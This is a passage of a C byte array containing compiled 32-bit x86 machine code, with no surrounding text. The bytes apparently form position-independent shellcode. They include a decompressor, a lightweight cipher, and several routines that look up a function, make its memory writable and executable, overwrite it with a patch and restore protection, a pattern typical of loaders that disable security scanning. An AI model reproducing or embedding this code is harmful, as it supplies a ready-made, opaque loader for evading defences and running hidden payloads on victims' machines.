0x45, 0x08, 0x8b, 0x40, 0x14, 0x8b, 0x50, 0x4c, 0x8b, 1282 | 0x45, 0x0c, 0x89, 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 0x04, 0xb8, 0x00, 1283 | 0x00, 0x00, 0x00, 0xc9, 0xc2, 0x08, 0x00, 0x55, 0x89, 0xe5, 0xb8, 0x01, 1284 | 0x40, 0x00, 0x80, 0x5d, 0xc2, 0x0c, 0x00, 0x55, 0x89, 0xe5, 0xb8, 0x01, 1285 | 0x40, 0x00, 0x80, 0x5d, 0xc2, 0x08, 0x00, 0x55, 0x89, 0xe5, 0xb8, 0x01, 1286 | 0x40, 0x00, 0x80, 0x5d, 0xc2, 0x08, 0x00, 0x55, 0x89, 0xe5, 0xb8, 0x01, 1287 | 0x40, 0x00, 0x80, 0x5d, 0xc2, 0x08, 0x00, 0x55, 0x89, 0xe5, 0x8b, 0x45, 1288 | 0x1c, 0xc7, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 1289 | 0x5d, 0xc2, 0x18, 0x00, 0x55, 0x89, 0xe5, 0x8b, 0x45, 0x08, 0x0f, 0xaf, 1290 | 0x45, 0x0c, 0x5d, 0xc3, 0x55, 0x89, 0xe5, 0x8b, 0x45, 0x18, 0xc7, 0x00, 1291 | 0x00, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x5d, 0xc2, 0x14, 1292 | 0x00, 0x55, 0x89, 0xe5, 0x8b, 0x55, 0x08, 0x8b, 0x45, 0x0c, 0x01, 0xd0, 1293 | 0x5d, 0xc3, 0x55, 0x89, 0xe5, 0x83, 0xec, 0x38, 0x8b, 0x45, 0x08, 0x8b, 1294 | 0x40, 0x30, 0x8b, 0x55, 0x08, 0x81, 0xc2, 0x58, 0x03, 0x00, 0x00, 0x89, 1295 | 0x14, 0x24, 0xff, 0xd0, 0x83, 0xec, 0x04, 0x89, 0x45, 0xf4, 0x83, 0x7d, 1296 | 0xf4, 0x00, 0x75, 0x0a, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xe9, 0xb6, 0x01, 1297 | 0x00, 0x00, 0x8b, 0x45, 0x08, 0x8b, 0x50, 0x34, 0x8b, 0x45, 0x08, 0x05, 1298 | 0xc0, 0x05, 0x00, 0x00, 0x89, 0x44, 0x24, 0x04, 0x8b, 0x45, 0xf4, 0x89, 1299 | 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 0x08, 0x89, 0x45, 0xf0, 0x83, 0x7d, 1300 | 0xf0, 0x00, 0x75, 0x0a, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xe9, 0x86, 0x01, 1301 | 0x00, 0x00, 0xba, 0x28, 0x4c, 0x40, 0x00, 0xb8, 0x13, 0x4c, 0x40, 0x00, 1302 | 0x29, 0xc2, 0x89, 0xd0, 0x89, 0x45, 0xec, 0x8b, 0x45, 0xec, 0x85, 0xc0, 1303 | 0x79, 0x0a, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xe9, 0x64, 0x01, 0x00, 0x00, 1304 | 0x8b, 0x45, 0x08, 0x8b, 0x50, 0x48, 0x8d, 0x45, 0xe8, 0x89, 0x44, 0x24, 1305 | 0x0c, 0xc7, 0x44, 0x24, 0x08, 0x40, 0x00, 0x00, 0x00, 0x8b, 0x45, 0xec, 1306 | 0x89, 0x44, 0x24, 0x04, 0x8b, 0x45, 0xf0, 0x89, 0x04, 0x24, 0xff, 0xd2, 1307 | 0x83, 0xec, 0x10, 0x85, 0xc0, 0x75, 0x0a, 0xb8, 0x00, 0x00, 0x00, 0x00, 1308 | 0xe9, 0x2f, 0x01, 0x00, 0x00, 0xe8, 0x4c, 0x03, 0x00, 0x00, 0x89, 0xc2, 1309 | 0xb9, 0x13, 0x4c, 0x40, 0x00, 0xb8, 0x5e, 0x50, 0x40, 0x00, 0x29, 0xc1, 1310 | 0x89, 0xc8, 0x01, 0xc2, 0x8b, 0x45, 0xec, 0x89, 0x44, 0x24, 0x08, 0x89, 1311 | 0x54, 0x24, 0x04, 0x8b, 0x45, 0xf0, 0x89, 0x04, 0x24, 0xe8, 0x70, 0x06, 1312 | 0x00, 0x00, 0x8b, 0x45, 0x08, 0x8b, 0x48, 0x48, 0x8b, 0x45, 0xe8, 0x8d, 1313 | 0x55, 0xe4, 0x89, 0x54, 0x24, 0x0c, 0x89, 0x44, 0x24, 0x08, 0x8b, 0x45, 1314 | 0xec, 0x89, 0x44, 0x24, 0x04, 0x8b, 0x45, 0xf0, 0x89, 0x04, 0x24, 0xff, 1315 | 0xd1, 0x83, 0xec, 0x10, 0x8b, 0x45, 0x08, 0x8b, 0x50, 0x34, 0x8b, 0x45, 1316 | 0x08, 0x05, 0xd0, 0x05, 0x00, 0x00, 0x89, 0x44, 0x24, 0x04, 0x8b, 0x45, 1317 | 0xf4, 0x89, 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 0x08, 0x89, 0x45, 0xf0, 1318 | 0x83, 0x7d, 0xf0, 0x00, 0x75, 0x0a, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xe9, 1319 | 0xac, 0x00, 0x00, 0x00, 0xba, 0x49, 0x4c, 0x40, 0x00, 0xb8, 0x34, 0x4c, 1320 | 0x40, 0x00, 0x29, 0xc2, 0x89, 0xd0, 0x89, 0x45, 0xec, 0x8b, 0x45, 0xec, 1321 | 0x85, 0xc0, 0x79, 0x0a, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xe9, 0x8a, 0x00, 1322 | 0x00, 0x00, 0x8b, 0x45, 0x08, 0x8b, 0x50, 0x48, 0x8d, 0x45, 0xe8, 0x89, 1323 | 0x44, 0x24, 0x0c, 0xc7, 0x44, 0x24, 0x08, 0x40, 0x00, 0x00, 0x00, 0x8b, 1324 | 0x45, 0xec, 0x89, 0x44, 0x24, 0x04, 0x8b, 0x45, 0xf0, 0x89, 0x04, 0x24, 1325 | 0xff, 0xd2, 0x83, 0xec, 0x10, 0x85, 0xc0, 0x75, 0x07, 0xb8, 0x00, 0x00, 1326 | 0x00, 0x00, 0xeb, 0x58, 0xe8, 0x75, 0x02, 0x00, 0x00, 0x89, 0xc2, 0xb9, 1327 | 0x34, 0x4c, 0x40, 0x00, 0xb8, 0x5e, 0x50, 0x40, 0x00, 0x29, 0xc1, 0x89, 1328 | 0xc8, 0x01, 0xc2, 0x8b, 0x45, 0xec, 0x89, 0x44, 0x24, 0x08, 0x89, 0x54, 1329 | 0x24, 0x04, 0x8b, 0x45, 0xf0, 0x89, 0x04, 0x24, 0xe8, 0x99, 0x05, 0x00, 1330 | 0x00, 0x8b, 0x45, 0x08, 0x8b, 0x48, 0x48, 0x8b, 0x45, 0xe8, 0x8d, 0x55, 1331 | 0xe4, 0x89, 0x54, 0x24, 0x0c, 0x89, 0x44, 0x24, 0x08, 0x8b, 0x45, 0xec, 1332 | 0x89, 0x44, 0x24, 0x04, 0x8b, 0x45, 0xf0, 0x89, 0x04, 0x24, 0xff, 0xd1, 1333 | 0x83, 0xec, 0x10, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xc9, 0xc3, 0x55, 0x89, 1334 | 0xe5, 0x8b, 0x45, 0x10, 0xc7, 0x00, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 1335 | 0x00, 0x00, 0x00, 0x5d, 0xc2, 0x10, 0x00, 0x55, 0x89, 0xe5, 0x8b, 0x45, 1336 | 0x08, 0x2b, 0x45, 0x0c, 0x5d, 0xc3, 0x55, 0x89, 0xe5, 0xb8, 0x00, 0x00, 1337 | 0x00, 0x00, 0x5d, 0xc2, 0x0c, 0x00, 0x55, 0x89, 0xe5, 0x8b, 0x45, 0x08, 1338 | 0x99, 0xf7, 0x7d, 0x0c, 0x5d, 0xc3, 0x55, 0x89, 0xe5, 0x83, 0xec, 0x38, 1339 | 0x8b, 0x45, 0x08, 0x8b, 0x40, 0x30, 0x8b, 0x55, 0x08, 0x81, 0xc2, 0x64, 1340 | 0x03, 0x00, 0x00, 0x89, 0x14, 0x24, 0xff, 0xd0, 0x83, 0xec, 0x04, 0x89, 1341 | 0x45, 0xf4, 0x83, 0x7d, 0xf4, 0x00, 0x75, 0x0a, 0xb8, 0x01, 0x00, 0x00, 1342 | 0x00, 0xe9, 0xb6, 0x01, 0x00, 0x00, 0x8b, 0x45, 0x08, 0x8b, 0x50, 0x34, 1343 | 0x8b, 0x45, 0x08, 0x05, 0x70, 0x05, 0x00, 0x00, 0x89, 0x44, 0x24, 0x04, 1344 | 0x8b, 0x45, 0xf4, 0x89, 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 0x08, 0x89, 1345 | 0x45, 0xf0, 0x83, 0x7d, 0xf0, 0x00, 0x75, 0x0a, 0xb8, 0x00, 0x00, 0x00, 1346 | 0x00, 0xe9, 0x86, 0x01, 0x00, 0x00, 0xba, 0x6a, 0x4e, 0x40, 0x00, 0xb8, 1347 | 0x5e, 0x4e, 0x40, 0x00, 0x29, 0xc2, 0x89, 0xd0, 0x89, 0x45, 0xec, 0x8b, 1348 | 0x45, 0xec, 0x85, 0xc0, 0x79, 0x0a, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xe9, 1349 | 0x64, 0x01, 0x00, 0x00, 0x8b, 0x45, 0x08, 0x8b, 0x50, 0x48, 0x8d, 0x45, 1350 | 0xe8, 0x89, 0x44, 0x24, 0x0c, 0xc7, 0x44, 0x24, 0x08, 0x40, 0x00, 0x00, 1351 | 0x00, 0x8b, 0x45, 0xec, 0x89, 0x44, 0x24, 0x04, 0x8b, 0x45, 0xf0, 0x89, 1352 | 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 0x10, 0x85, 0xc0, 0x75, 0x0a, 0xb8, 1353 | 0x00, 0x00, 0x00, 0x00, 0xe9, 0x2f, 0x01, 0x00, 0x00, 0xe8, 0x2c, 0x01, 1354 | 0x00, 0x00, 0x89, 0xc2, 0xb9, 0x5e, 0x4e, 0x40, 0x00, 0xb8, 0x5e, 0x50, 1355 | 0x40, 0x00, 0x29, 0xc1, 0x89, 0xc8, 0x01, 0xc2, 0x8b, 0x45, 0xec, 0x89, 1356 | 0x44, 0x24, 0x08, 0x89, 0x54, 0x24, 0x04, 0x8b, 0x45, 0xf0, 0x89, 0x04, 1357 | 0x24, 0xe8, 0x50, 0x04, 0x00, 0x00, 0x8b, 0x45, 0x08, 0x8b, 0x48, 0x48, 1358 | 0x8b, 0x45, 0xe8, 0x8d, 0x55, 0xe4, 0x89, 0x54, 0x24, 0x0c, 0x89, 0x44, 1359 | 0x24, 0x08, 0x8b, 0x45, 0xec, 0x89, 0x44, 0x24, 0x04, 0x8b, 0x45, 0xf0, 1360 | 0x89, 0x04, 0x24, 0xff, 0xd1, 0x83, 0xec, 0x10, 0x8b, 0x45, 0x08, 0x8b, 1361 | 0x50, 0x34, 0x8b, 0x45, 0x08, 0x05, 0x90, 0x05, 0x00, 0x00, 0x89, 0x44, 1362 | 0x24, 0x04, 0x8b, 0x45, 0xf4, 0x89, 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 1363 | 0x08, 0x89, 0x45, 0xf0, 0x83, 0x7d, 0xf0, 0x00, 0x75, 0x0a, 0xb8, 0x00, 1364 | 0x00, 0x00, 0x00, 0xe9, 0xac, 0x00, 0x00, 0x00, 0xba, 0x53, 0x4e, 0x40, 1365 | 0x00, 0xb8, 0x3e, 0x4e, 0x40, 0x00, 0x29, 0xc2, 0x89, 0xd0, 0x89, 0x45, 1366 | 0xec, 0x8b, 0x45, 0xec, 0x85, 0xc0, 0x79, 0x0a, 0xb8, 0x00, 0x00, 0x00, 1367 | 0x00, 0xe9, 0x8a, 0x00, 0x00, 0x00, 0x8b, 0x45, 0x08, 0x8b, 0x50, 0x48, 1368 | 0x8d, 0x45, 0xe8, 0x89, 0x44, 0x24, 0x0c, 0xc7, 0x44, 0x24, 0x08, 0x40, 1369 | 0x00, 0x00, 0x00, 0x8b, 0x45, 0xec, 0x89, 0x44, 0x24, 0x04, 0x8b, 0x45, 1370 | 0xf0, 0x89, 0x04, 0x24, 0xff, 0xd2, 0x83, 0xec, 0x10, 0x85, 0xc0, 0x75, 1371 | 0x07, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xeb, 0x58, 0xe8, 0x55, 0x00, 0x00, 1372 | 0x00, 0x89, 0xc2, 0xb9, 0x3e, 0x4e, 0x40, 0x00, 0xb8, 0x5e, 0x50, 0x40, 1373 | 0x00, 0x29, 0xc1, 0x89, 0xc8, 0x01, 0xc2, 0x8b, 0x45, 0xec, 0x89, 0x44, 1374 | 0x24, 0x08, 0x89, 0x54, 0x24, 0x04, 0x8b, 0x45, 0xf0, 0x89, 0x04, 0x24, 1375 | 0xe8, 0x79, 0x03, 0x00, 0x00, 0x8b, 0x45, 0x08, 0x8b, 0x48, 0x48, 0x8b, 1376 | 0x45, 0xe8, 0x8d, 0x55, 0xe4, 0x89, 0x54, 0x24, 0x0c, 0x89, 0x44, 0x24, 1377 | 0x08, 0x8b, 0x45, 0xec, 0x89, 0x44, 0x24, 0x04, 0x8b, 0x45, 0xf0, 0x89, 1378 | 0x04, 0x24, 0xff, 0xd1, 0x83, 0xec, 0x10, 0xb8, 0x01, 0x00, 0x00, 0x00, 1379 | 0xc9, 0xc3, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x58, 0x83, 0xe8, 0x05, 0xc3, 1380 | 0x55, 0x89, 0xe5, 0x83, 0xec, 0x10, 0x8b, 0x45, 0x08, 0x8b, 0x40, 0x0c, 1381 | 0x8d, 0x48, 0xff, 0x8b, 0x55, 0x08, 0x89, 0x4a, 0x0c, 0x85, 0xc0, 0x75, 1382 | 0x23, 0x8b, 0x45, 0x08, 0x8b, 0x00, 0x8d, 0x48, 0x01, 0x8b, 0x55, 0x08, 1383 | 0x89, 0x0a, 0x0f, 0xb6, 0x00, 0x0f, 0xb6, 0xd0, 0x8b, 0x45, 0x08, 0x89, 1384 | 0x50, 0x08, 0x8b, 0x45, 0x08, 0xc7, 0x40, 0x0c, 0x07, 0x00, 0x00, 0x00, 1385 | 0x8b, 0x45, 0x08, 0x8b, 0x40, 0x08, 0xc1, 0xe8, 0x07, 0x83, 0xe0, 0x01, 1386 | 0x89, 0x45, 0xfc, 0x8b, 0x45, 0x08, 0x8b, 0x40, 0x08, 0x8d, 0x14, 0x00, 1387 | 0x8b, 0x45, 0x08, 0x89, 0x50, 0x08, 0x8b, 0x45, 0xfc, 0xc9, 0xc3, 0x55, 1388 | 0x89, 0xe5, 0x53, 0x83, 0xec, 0x14, 0xc7, 0x45, 0xf8, 0x01, 0x00, 0x00, 1389 | 0x00, 0x8b, 0x45, 0xf8, 0x8d, 0x1c, 0x00, 0x8b, 0x45, 0x08, 0x89, 0x04, 1390 | 0x24, 0xe8, 0x82, 0xff, 0xff, 0xff, 0x01, 0xd8, 0x89, 0x45, 0xf8, 0x8b, 1391 | 0x45, 0x08, 0x89, 0x04, 0x24, 0xe8, 0x72, 0xff, 0xff, 0xff, 0x85, 0xc0, 1392 | 0x75, 0xdb, 0x8b, 0x45, 0xf8, 0x83, 0xc4, 0x14, 0x5b, 0x5d, 0xc3, 0x55, 1393 | 0x89, 0xe5, 0x53, 0x83, 0xec, 0x34, 0x8b, 0x45, 0x08, 0x89, 0x45, 0xd4, 1394 | 0x8b, 0x45, 0x0c, 0x89, 0x45, 0xd8, 0xc7, 0x45, 0xe0, 0x00, 0x00, 0x00, 1395 | 0x00, 0xc7, 0x45, 0xf0, 0xff, 0xff, 0xff, 0xff, 0xc7, 0x45, 0xec, 0x00, 1396 | 0x00, 0x00, 0x00, 0xc7, 0x45, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 1397 | 0xd8, 0x8d, 0x50, 0x01, 0x89, 0x55, 0xd8, 0x8b, 0x55, 0xd4, 0x8d, 0x4a, 1398 | 0x01, 0x89, 0x4d, 0xd4, 0x0f, 0xb6, 0x12, 0x88, 0x10, 0xe9, 0x0f, 0x02, 1399 | 0x00, 0x00, 0x8d, 0x45, 0xd4, 0x89, 0x04, 0x24, 0xe8, 0x0f, 0xff, 0xff, 1400 | 0xff, 0x85, 0xc0, 0x0f, 0x84, 0xde, 0x01, 0x00, 0x00, 0x8d, 0x45, 0xd4, 1401 | 0x89, 0x04, 0x24, 0xe8, 0xfc, 0xfe, 0xff, 0xff, 0x85, 0xc0, 0x0f, 0x84, 1402 | 0xe3, 0x00, 0x00, 0x00, 0x8d, 0x45, 0xd4, 0x89, 0x04, 0x24, 0xe8, 0xe9, 1403 | 0xfe, 0xff, 0xff, 0x85, 0xc0, 0x74, 0x6b, 0xc7, 0x45, 0xf8, 0x00, 0x00, 1404 | 0x00, 0x00, 0xc7, 0x45, 0xe4, 0x04, 0x00, 0x00, 0x00, 0xeb, 0x1a, 0x8b, 1405 | 0x45, 0xf8, 0x8d, 0x1c, 0x00, 0x8d, 0x45, 0xd4, 0x89, 0x04, 0x24, 0xe8, 1406 | 0xc4, 0xfe, 0xff, 0xff, 0x01, 0xd8, 0x89, 0x45, 0xf8, 0x83, 0x6d, 0xe4, 1407 | 0x01, 0x83, 0x7d, 0xe4, 0x00, 0x75, 0xe0, 0x83, 0x7d, 0xf8, 0x00, 0x74, 1408 | 0x1d, 0x8b, 0x45, 0xd8, 0x8b, 0x55, 0xd8, 0x8b, 0x4d, 0xf8, 0xf7, 0xd9, 1409 | 0x01, 0xca, 0x0f, 0xb6, 0x12, 0x88, 0x10, 0x8b, 0x45, 0xd8, 0x83, 0xc0, 1410 | 0x01, 0x89, 0x45, 0xd8, 0xeb, 0x0c, 0x8b, 0x45, 0xd8, 0x8d, 0x50, 0x01, 1411 | 0x89, 0x55, 0xd8, 0xc6, 0x00, 0x00, 0xc7, 0x45, 0xec, 0x00, 0x00, 0x00, 1412 | 0x00, 0xe9, 0x6f, 0x01, 0x00, 0x00, 0x8b, 0x45, 0xd4, 0x8d, 0x50, 0x01, 1413 | 0x89, 0x55, 0xd4, 0x0f, 0xb6, 0x00, 0x0f, 0xb6, 0xc0, 0x89, 0x45, 0xf8, 1414 | 0x8b, 0x45, 0xf8, 0x83, 0xe0, 0x01, 0x83, 0xc0, 0x02, 0x89, 0x45, 0xf4, 1415 | 0xd1, 0x6d, 0xf8, 0x83, 0x7d, 0xf8, 0x00, 0x74, 0x29, 0xeb, 0x1f, 0x8b, 1416 | 0x45, 0xd8, 0x8b, 0x55, 0xd8, 0x8b, 0x4d, 0xf8, 0xf7, 0xd9, 0x01, 0xca, 1417 | 0x0f, 0xb6, 0x12, 0x88, 0x10, 0x8b, 0x45, 0xd8, 0x83, 0xc0, 0x01, 0x89, 1418 | 0x45, 0xd8, 0x83, 0x6d, 0xf4, 0x01, 0x83, 0x7d, 0xf4, 0x00, 0x75, 0xdb, 1419 | 0xeb, 0x07, 0xc7, 0x45, 0xe8, 0x01, 0x00, 0x00, 0x00, 0x8b, 0x45, 0xf8, 1420 | 0x89, 0x45, 0xf0, 0xc7, 0x45, 0xec, 0x01, 0x00, 0x00, 0x00, 0xe9, 0x06, 1421 | 0x01, 0x00, 0x00, 0x8d, 0x45, 0xd4, 0x89, 0x04, 0x24, 0xe8, 0x65, 0xfe, 1422 | 0xff, 0xff, 0x89, 0x45, 0xf8, 0x83, 0x7d, 0xec, 0x00, 0x75, 0x46, 0x83, 1423 | 0x7d, 0xf8, 0x02, 0x75, 0x40, 0x8b, 0x45, 0xf0, 0x89, 0x45, 0xf8, 0x8d, 1424 | 0x45, 0xd4, 0x89, 0x04, 0x24, 0xe8, 0x45, 0xfe, 0xff, 0xff, 0x89, 0x45, 1425 | 0xf4, 0xeb, 0x1f, 0x8b, 0x45, 0xd8, 0x8b, 0x55, 0xd8, 0x8b, 0x4d, 0xf8, 1426 | 0xf7, 0xd9, 0x01, 0xca, 0x0f, 0xb6, 0x12, 0x88, 0x10, 0x8b, 0x45, 0xd8, 1427 | 0x83, 0xc0, 0x01, 0x89, 0x45, 0xd8, 0x83, 0x6d, 0xf4, 0x01, 0x83, 0x7d, 1428 | 0xf4, 0x00, 0x75, 0xdb, 0xe9, 0x85, 0x00, 0x00, 0x00, 0x83, 0x7d, 0xec, 1429 | 0x00, 0x75, 0x06, 0x83, 0x6d, 0xf8, 0x03, 0xeb, 0x04, 0x83, 0x6d, 0xf8, 1430 | 0x02, 0xc1, 0x65, 0xf8, 0x08, 0x8b, 0x45, 0xd4, 0x8d, 0x50, 0x01, 0x89, 1431 | 0x55, 0xd4, 0x0f, 0xb6, 0x00, 0x0f, 0xb6, 0xc0, 0x01, 0x45, 0xf8, 0x8d, 1432 | 0x45, 0xd4, 0x89, 0x04, 0x24, 0xe8, 0xe5, 0xfd, 0xff, 0xff, 0x89, 0x45, 1433 | 0xf4, 0x81, 0x7d, 0xf8, 0xff, 0x7c, 0x00, 0x00, 0x76, 0x04, 0x83, 0x45, 1434 | 0xf4, 0x01, 0x81, 0x7d, 0xf8, 0xff, 0x04, 0x00, 0x00, 0x76, 0x04, 0x83, 1435 | 0x45, 0xf4, 0x01, 0x83, 0x7d, 0xf8, 0x7f, 0x77, 0x25, 0x83, 0x45, 0xf4, 1436 | 0x02, 0xeb, 0x1f, 0x8b, 0x45, 0xd8, 0x8b, 0x55, 0xd8, 0x8b, 0x4d, 0xf8, 1437 | 0xf7, 0xd9, 0x01, 0xca, 0x0f, 0xb6, 0x12, 0x88, 0x10, 0x8b, 0x45, 0xd8, 1438 | 0x83, 0xc0, 0x01, 0x89, 0x45, 0xd8, 0x83, 0x6d, 0xf4, 0x01, 0x83, 0x7d, 1439 | 0xf4, 0x00, 0x75, 0xdb, 0x8b, 0x45, 0xf8, 0x89, 0x45, 0xf0, 0xc7, 0x45, 1440 | 0xec, 0x01, 0x00, 0x00, 0x00, 0xeb, 0x1e, 0x8b, 0x45, 0xd8, 0x8d, 0x50, 1441 | 0x01, 0x89, 0x55, 0xd8, 0x8b, 0x55, 0xd4, 0x8d, 0x4a, 0x01, 0x89, 0x4d, 1442 | 0xd4, 0x0f, 0xb6, 0x12, 0x88, 0x10, 0xc7, 0x45, 0xec, 0x00, 0x00, 0x00, 1443 | 0x00, 0x83, 0x7d, 0xe8, 0x00, 0x0f, 0x84, 0xe7, 0xfd, 0xff, 0xff, 0x8b, 1444 | 0x45, 0xd8, 0x89, 0xc2, 0x8b, 0x45, 0x0c, 0x29, 0xc2, 0x89, 0xd0, 0x83, 1445 | 0xc4, 0x34, 0x5b, 0x5d, 0xc3, 0x90, 0x90, 0x90, 0x55, 0x89, 0xe5, 0x83, 1446 | 0xec, 0x10, 0x8b, 0x45, 0x08, 0x89, 0x45, 0xfc, 0xeb, 0x0e, 0x8b, 0x45, 1447 | 0x0c, 0x89, 0xc2, 0x8b, 0x45, 0xfc, 0x88, 0x10, 0x83, 0x45, 0xfc, 0x01, 1448 | 0x8b, 0x45, 0x10, 0x8d, 0x50, 0xff, 0x89, 0x55, 0x10, 0x85, 0xc0, 0x75, 1449 | 0xe5, 0x8b, 0x45, 0x08, 0xc9, 0xc3, 0x55, 0x89, 0xe5, 0x83, 0xec, 0x10, 1450 | 0x8b, 0x45, 0x08, 0x89, 0x45, 0xfc, 0x8b, 0x45, 0x0c, 0x89, 0x45, 0xf8, 1451 | 0xeb, 0x13, 0x8b, 0x45, 0xf8, 0x0f, 0xb6, 0x10, 0x8b, 0x45, 0xfc, 0x88, 1452 | 0x10, 0x83, 0x45, 0xfc, 0x01, 0x83, 0x45, 0xf8, 0x01, 0x8b, 0x45, 0x10, 1453 | 0x8d, 0x50, 0xff, 0x89, 0x55, 0x10, 0x85, 0xc0, 0x75, 0xe0, 0x8b, 0x45, 1454 | 0x08, 0xc9, 0xc3, 0x55, 0x89, 0xe5, 0x56, 0x53, 0x8b, 0x5d, 0x08, 0x8b, 1455 | 0x75, 0x0c, 0xeb, 0x32, 0x89, 0xd8, 0x8d, 0x58, 0x01, 0x0f, 0xb6, 0x10, 1456 | 0x89, 0xf0, 0x8d, 0x70, 0x01, 0x0f, 0xb6, 0x00, 0x38, 0xc2, 0x74, 0x1e, 1457 | 0x8d, 0x43, 0xff, 0x0f, 0xb6, 0x10, 0x8d, 0x46, 0xff, 0x0f, 0xb6, 0x00, 1458 | 0x38, 0xc2, 0x73, 0x07, 0xb8, 0xff, 0xff, 0xff, 0xff, 0xeb, 0x19, 0xb8, 1459 | 0x01, 0x00, 0x00, 0x00, 0xeb, 0x12, 0x8b, 0x45, 0x10, 0x8d, 0x50, 0xff, 1460 | 0x89, 0x55, 0x10, 0x85, 0xc0, 0x75, 0xc1, 0xb8, 0x00, 0x00, 0x00, 0x00, 1461 | 0x5b, 0x5e, 0x5d, 0xc3, 0x55, 0x89, 0xe5, 0xeb, 0x1f, 0x8b, 0x45, 0x08, 1462 | 0x0f, 0xb6, 0x10, 0x8b, 0x45, 0x0c, 0x0f, 0xb6, 0x00, 0x38, 0xc2, 0x74, 1463 | 0x07, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xeb, 0x2a, 0x83, 0x45, 0x08, 0x01, 1464 | 0x83, 0x45, 0x0c, 0x01, 0x8b, 0x45, 0x08, 0x0f, 0xb6, 0x00, 0x84, 0xc0, 1465 | 0x74, 0x0a, 0x8b, 0x45, 0x0c, 0x0f, 0xb6, 0x00, 0x84, 0xc0, 0x75, 0xcd, 1466 | 0x8b, 0x45, 0x0c, 0x0f, 0xb6, 0x00, 0x84, 0xc0, 0x0f, 0x94, 0xc0, 0x0f, 1467 | 0xb6, 0xc0, 0x5d, 0xc3, 0x55, 0x89, 0xe5, 0x83, 0xec, 0x08, 0xeb, 0x2f, 1468 | 0x8b, 0x45, 0x08, 0x0f, 0xb6, 0x10, 0x8b, 0x45, 0x0c, 0x0f, 0xb6, 0x00, 1469 | 0x38, 0xc2, 0x75, 0x1b, 0x8b, 0x45, 0x0c, 0x89, 0x44, 0x24, 0x04, 0x8b, 1470 | 0x45, 0x08, 0x89, 0x04, 0x24, 0xe8, 0x8e, 0xff, 0xff, 0xff, 0x85, 0xc0, 1471 | 0x74, 0x05, 0x8b, 0x45, 0x08, 0xeb, 0x13, 0x83, 0x45, 0x08, 0x01, 0x8b, 1472 | 0x45, 0x08, 0x0f, 0xb6, 0x00, 0x84, 0xc0, 0x75, 0xc7, 0xb8, 0x00, 0x00, 1473 | 0x00, 0x00, 0xc9, 0xc3, 0x55, 0x89, 0xe5, 0xeb, 0x18, 0x8b, 0x45, 0x08, 1474 | 0x0f, 0xb6, 0x10, 0x8b, 0x45, 0x0c, 0x0f, 0xb6, 0x00, 0x38, 0xc2, 0x75, 1475 | 0x1e, 0x83, 0x45, 0x08, 0x01, 0x83, 0x45, 0x0c, 0x01, 0x8b, 0x45, 0x08, 1476 | 0x0f, 0xb6, 0x00, 0x84, 0xc0, 0x74, 0x0d, 0x8b, 0x45, 0x0c, 0x0f, 0xb6, 1477 | 0x00, 0x84, 0xc0, 0x75, 0xd4, 0xeb, 0x01, 0x90, 0x8b, 0x45, 0x08, 0x0f, 1478 | 0xb6, 0x00, 0x0f, 0xbe, 0xd0, 0x8b, 0x45, 0x0c, 0x0f, 0xb6, 0x00, 0x0f, 1479 | 0xbe, 0xc0, 0x29, 0xc2, 0x89, 0xd0, 0x5d, 0xc3, 0x55, 0x89, 0xe5, 0x83, 1480 | 0xec, 0x28, 0x8b, 0x45, 0x0c, 0x89, 0x45, 0xd8, 0x8b, 0x45, 0x10, 0x89, 1481 | 0x45, 0xdc, 0x8b, 0x45, 0xd8, 0x8b, 0x55, 0xdc, 0x89, 0x45, 0xe0, 0x89, 1482 | 0x55, 0xe4, 0xc7, 0x45, 0xfc, 0x00, 0x00, 0x00, 0x00, 0xeb, 0x1c, 0x8b, 1483 | 0x45, 0xfc, 0x8d, 0x14, 0x85, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 0x08, 1484 | 0x01, 0xd0, 0x8b, 0x10, 0x8b, 0x45, 0xfc, 0x89, 0x54, 0x85, 0xe8, 0x83, 1485 | 0x45, 0xfc, 0x01, 0x83, 0x7d, 0xfc, 0x03, 0x76, 0xde, 0xc7, 0x45, 0xfc, 1486 | 0x00, 0x00, 0x00, 0x00, 0xeb, 0x5e, 0x8b, 0x45, 0xe0, 0xc1, 0xc8, 0x08, 1487 | 0x89, 0xc2, 0x8b, 0x45, 0xe4, 0x01, 0xc2, 0x8b, 0x45, 0xe8, 0x31, 0xd0, 1488 | 0x89, 0x45, 0xe0, 0x8b, 0x45, 0xe4, 0xc1, 0xc0, 0x03, 0x89, 0xc2, 0x8b, 1489 | 0x45, 0xe0, 0x31, 0xd0, 0x89, 0x45, 0xe4, 0x8b, 0x45, 0xf4, 0x89, 0x45, 1490 | 0xf8, 0x8b, 0x45, 0xec, 0xc1, 0xc8, 0x08, 0x89, 0xc2, 0x8b, 0x45, 0xe8, 1491 | 0x01, 0xd0, 0x33, 0x45, 0xfc, 0x89, 0x45, 0xf4, 0x8b, 0x45, 0xe8, 0xc1, 1492 | 0xc0, 0x03, 0x89, 0xc2, 0x8b, 0x45, 0xf4, 0x31, 0xd0, 0x89, 0x45, 0xe8, 1493 | 0x8b, 0x45, 0xf0, 0x89, 0x45, 0xec, 0x8b, 0x45, 0xf8, 0x89, 0x45, 0xf0, 1494 | 0x83, 0x45, 0xfc, 0x01, 0x83, 0x7d, 0xfc, 0x1a, 0x76, 0x9c, 0x8b, 0x45, 1495 | 0xe0, 0x8b, 0x55, 0xe4, 0xc9, 0xc3, 0x55, 0x89, 0xe5, 0x83, 0xec, 0x58, 1496 | 0x8b, 0x45, 0x0c, 0x89, 0x45, 0xc0, 0x8b, 0x45, 0x10, 0x89, 0x45, 0xc4, 